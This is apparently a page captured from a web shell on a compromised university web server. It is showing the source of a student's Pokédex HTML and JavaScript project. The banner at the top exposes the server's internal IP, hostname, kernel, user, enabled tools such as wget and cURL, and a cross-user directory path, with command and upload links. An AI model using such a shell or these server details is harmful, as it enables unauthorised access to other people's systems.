|
Server IP : 172.16.15.8 / Your IP : 3.145.110.99 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/rswolfe/../tjpepper/www/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<html>
<head>
<style>
body
{background-image:url('http://cdn.bulbagarden.net/upload/e/e0/Spr_Y_Red_Pikachu.png');}
table
{width:auto;border-collapse:collapse;}
tr
{height:150px;}
td
{width:50px;}
textarea, input
{outline:none;}
</style>
</head>
<body>
<div id="top" style="float:top; width:1000px; height:25px"></div>
<div id="left" style="float:left; width:50px; height:750px;"></div>
<div id="page1" style="border:solid black; background-color:#DC0A2D; float:left; height:750px; width:550px;">
<div id="leftHead" style="border-style:solid; border-color:black; height:50px; width:550px; border-right:0px;border-top:0px;border-left:0px;">
<div id="light" style="background-color:green; height:50px; width:50px;"><a href="admin_login.php">Professor Login</a></div>
</div>
<div id="leftScreen" style="background-color:transparent; border-style:outset; border-width:10px; border-color:gray; height:150px; width:150px; margin-left:auto; margin-right:auto;
margin-top:50px;">
<div id="screenShadow" style="background-color:white; border-style:inset; border-color:rgba(0, 0, 0, .7); border-right-color:rgba(0, 0, 0, .2); border-bottom-color:rgba(0, 0,
0, .2); height:144px; width:144px">
<img src="http://upload.wikimedia.org/wikipedia/en/3/39/Pokeball.PNG" alt="pokeball" width="145px" height="145px"></div>
</div>
<div id="leftText" style="margin-top:50px; margin-left:auto; margin-right:auto; height:330px; width:425px;">
<textarea id="descriptionBox" data-loaded="" rows="20" cols="50" readonly style="cursor:default; resize:none; border-style:outset; border-width:5px; border-color:gray;">Welcome Trainer!</textarea></div>
</div>
<div id="page2" style="border:solid black; background-color:#DC0A2D; margin-left:600px; padding-right:3px; height:750px; width:550px;">
<div id="rightHead" style="border-style:solid; border-color:black; height:50px; width:550px; border-left-color:transparent;border-top:0px;border-right:0px;">
<!-- <form action="pokedex_search.php" method=post> -->
<select style="width:125px; margin-top:15px; margin-left:15px">
<option value=null>--Select--</option>
<option value="strong">Strong Against</option>
<option value="weak">Weak Against</option>
<option value="neutral">Neutral To</option>
</select>
<select style="width:125px; margin-top:15px; margin-right:10px">
<option value=null>--Select--</option>
<option value="normal">Normal</option>
<option value="fight">Fighting</option>
<option value="flying">Flying</option>
<option value="poison">Poison</option>
<option value="ground">Ground</option>
<option value="rock">Rock</option>
<option value="bug">Bug</option>
<option value="ghost">Ghost</option>
<option value="fire">Fire</option>
<option value="water">Water</option>
<option value="grass">Grass</option>
<option value="electric">Electric</option>
<option value="psychic">Psychic</option>
<option value="ice">Ice</option>
<option value="dragon">Dragon</option>
</select>
<input type="submit" value="Submit" style="width:75px; margin-top:15px; float:right; margin-right:10px;" onclick='ajax("./searchPokedex.php", {"search": document.getElementById("searchBox").value}, loadSearchResponse)'>
<!-- <input id="searchBox" onfocus="this.value=' '" onblur="this.value='Search (id, name, type)'" type="text" name="search" value="Search (id, name, type)"> -->
<input id='searchBox' type='text' />
<!-- </form> -->
</div>
<div id="rightDisplay" style="background-color:white; width:450px; height:550px; overflow:scroll; overflow-x:hidden;
margin-left:auto; margin-right:auto; margin-top:50px; border-style:outset; border-width:5px; border-color:gray;">
<table border="1" style="width:435px; float:left;">
<tr>
<td>One</td>
<td>Two</td>
<td>Three</td>
</tr>
<tr>
<td>One</td>
<td>Two</td>
<td>Three</td>
</tr>
<tr>
<td>One</td>
<td>Two</td>
<td>Three</td>
</tr>
<tr>
<td>One</td>
<td>Two</td>
<td>Three</td>
</tr>
<tr>
<td>One</td>
<td>Two</td>
<td>Three</td>
</tr>
<tr>
<td>One</td>
<td>Two</td>
<td>Three</td>
</tr>
<tr>
<td>One</td>
<td>Two</td>
<td>Three</td>
</tr>
</table>
</div>
</div>
</body>
<script type='text/javascript'>
/* Ajax request to retrieve response from url */
function ajax(url, data, callback) {
//Attach data to url for request.
var a = [];
for (var p in data) {
if (!data.hasOwnProperty(p)) {continue; }
a.push(encodeURIComponent(p) + '=' + encodeURIComponent(data[p]));
}
url = url + '?' + (a.join("&"));
var xmlhttp = new XMLHttpRequest();
xmlhttp.open('GET', url, true);
//When the request is done and returns OK, perform the function in callback, if any.
if (typeof callback == 'function') {
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState != 4 || xmlhttp.status != 200) {return; }
callback(xmlhttp);
};
}
//Send the request
xmlhttp.send();
}
/* Loads search results to right pane */
function loadSearchResponse(xmlhttp) {
document.getElementById('rightDisplay').innerHTML = xmlhttp.responseText;
}
/* On Click: Loads individual pokemon data to left pane */
/* DIRECTLY REFERENCED in searchPokedex.php */
function loadLeftPane(td) {
var kid = td.getAttribute('data-kid');
var el = document.getElementById('descriptionBox');
if (el.getAttribute('data-loaded') == kid) { return; }
ajax('./getPokemonDescription.php', {'id':kid}, function (xmlhttp) {
el.innerHTML = xmlhttp.responseText;
el.setAttribute('data-loaded', kid);
});
//ToDo: search by kid.
//ToDo: When we have images, change left image.
//ToDo: When we have descriptions, set them here.
}
</script>
</html>